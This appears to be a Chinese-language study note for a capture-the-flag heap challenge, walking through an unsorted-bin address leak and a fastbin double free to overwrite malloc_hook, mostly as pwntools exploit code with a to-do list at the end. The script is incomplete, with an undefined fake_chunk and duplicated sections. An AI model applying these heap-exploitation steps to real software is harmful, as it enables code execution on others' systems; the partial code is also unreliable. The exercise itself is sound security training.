# 分析

## 利用思路:

1. 申请一个符合Unsort bin大小的块在释放后会回归到Unsort bin，之后fd和bk会成为unsortedbin的地址，可以进行泄露。
2. 利用fastbin的double free，进行任意地址分配然后写，修改malloc hook

## 调试过程

#### unsortedbin地址泄露

mem的开头两个位置 FD和BK 由于unsort bin里只有它一个堆块，又是双链表结构，所以都指向unsort bin本身。至此我们可以泄露unsort bin的地址。leak函数如下。通过分析程序功能知道，在存储单词时，每个单词都会有自己的长度与在堆里的地址对应。

def Search(word):
p.recvuntil('3: Quit\n',timeout=3)
p.sendline('1')
p.recvuntil('Enter the word size:\n')
p.sendline(str(len(word)))
p.recvuntil('Enter the word:\n')
p.send(word)

def Index(word):
p.recvuntil('3: Quit\n',timeout=3)
p.sendline('2')
p.recvuntil('Enter the sentence size:\n')
p.sendline(str(len(word)))
p.recvuntil('Enter the sentence:\n')
p.send(word)

def leak():
Index('a'*0x86+' m ')
Search('m')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#gdb.attach(p,'b *0x400b1f')
Search('\x00')
p.recvuntil('Found 137: ')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')

#### doublefree

# free c b a (fastbin) a->b->c->null
Index('a'*0x5d+' d ')
Index('b'*0x5d+' d ')
Index('c'*0x5d+' d ')
Search('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
# fastbin a->b->a->b...double free
Search('\x00')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')

#### 任意地址alloc

unsortedbin_offset_main_arena = offset_bin_main_arena(0)

from pwn import *
from LibcSearcher import LibcSearcher
filename = 'search'
elf = ELF('./'+filename)
context.binary = filename
context.log_level = 'debug'
#p = remote('localhost',4000)
p = process('./'+filename)
#------------------------------initialize--------------------------------------------------

def Search(word):
p.recvuntil('3: Quit\n',timeout=3)
p.sendline('1')
p.recvuntil('Enter the word size:\n')
p.sendline(str(len(word)))
p.recvuntil('Enter the word:\n')
p.send(word)

def Index(word):
p.recvuntil('3: Quit\n',timeout=3)
p.sendline('2')
p.recvuntil('Enter the sentence size:\n')
p.sendline(str(len(word)))
p.recvuntil('Enter the sentence:\n')
p.send(word)

def leak():
Index('a'*0x86+' m ')
Search('m')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#gdb.attach(p,'b *0x400b1f')
Search('\x00')
p.recvuntil('Found 137: ')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')

def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4  # lock
offset += 4  # flags
offset += word_bytes * 10  # offset fastbin
offset += word_bytes * 2  # top,last_remainder
offset += idx * 2 * word_bytes  # idx
offset -= word_bytes * 2  # bin overlap
return offset

main_arena_offset = 0x3c4b20
#gdb.attach(p,"b *0x400b46")
unsortedbin_offset_main_arena = offset_bin_main_arena(0)

# free c b a (fastbin) a->b->c->null
Index('a'*0x5d+' d ')
Index('b'*0x5d+' d ')
Index('c'*0x5d+' d ')
Search('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
# fastbin a->b->a->b...double free
Search('\x00')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')

gdb.attach(p,'b *0x400c00')
Index(fake_chunk)
Index('a'*0x60)
Index('a'*0x60)

p.interactive()

# 明日计划

1. 复习大物
2. 继续练习heap攻击方式